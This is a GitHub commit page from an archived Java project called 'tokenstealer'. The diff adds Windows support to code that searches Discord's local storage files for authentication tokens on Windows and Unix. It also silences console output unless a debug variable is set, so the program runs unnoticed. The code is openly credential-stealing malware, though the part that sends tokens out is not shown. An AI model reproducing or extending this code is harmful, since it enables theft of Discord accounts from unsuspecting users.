Skip to content
This repository has been archived by the owner on Oct 15, 2022. It is now read-only.

Commit

Permalink
windows
Browse files Browse the repository at this point in the history
  • Loading branch information
nea89o committed Feb 13, 2018
1 parent 99fa89b commit fda9534
Show file tree
Hide file tree
Showing 4 changed files with 9 additions and 3 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ build/
.gradle/
*.localstorage
tokens.txt
tokenstealer.iml
1 change: 1 addition & 0 deletions build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ shadowJar {
}

sourceCompatibility = 1.8
targetCompatibility = 1.8

repositories {
mavenCentral()
Expand Down
3 changes: 2 additions & 1 deletion src/main/java/de/romjaki/tokenstealer/Main.java
Original file line number Diff line number Diff line change
Expand Up @@ -18,10 +18,11 @@ public static void main(String[] args) {
public void write(int i) {
}
});
if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) {
if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) {
System.setOut(nullStream);
System.setErr(nullStream);
}
System.out.println("DEBUG ACTIVATE!");
Config.load(args);
if (Config.INSTANCE == null) {
Builder builder = new Builder();
Expand Down
7 changes: 5 additions & 2 deletions src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,12 @@
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
import java.util.stream.Stream;

public class Stealer {
private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage";
private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage";
private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "/discord*/Local Storage/*discordapp*_0.localstorage";

public static void steal() {
try {
Expand Down Expand Up @@ -134,7 +135,9 @@ public FileVisitResult visitFileFailed(Path file, IOException exc) {
}

private static List<Path> getWindowsDiscordLocations() {
return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA"));

return globRecurse(WINDOWS_LOCALSTORAGE.replace("\\", "/"),
System.getenv("APPDATA").replace("\\", "/"));
}

private static List<Path> getUnixDiscordLocations() {
Expand Down

0 comments on commit fda9534

Please sign in to comment.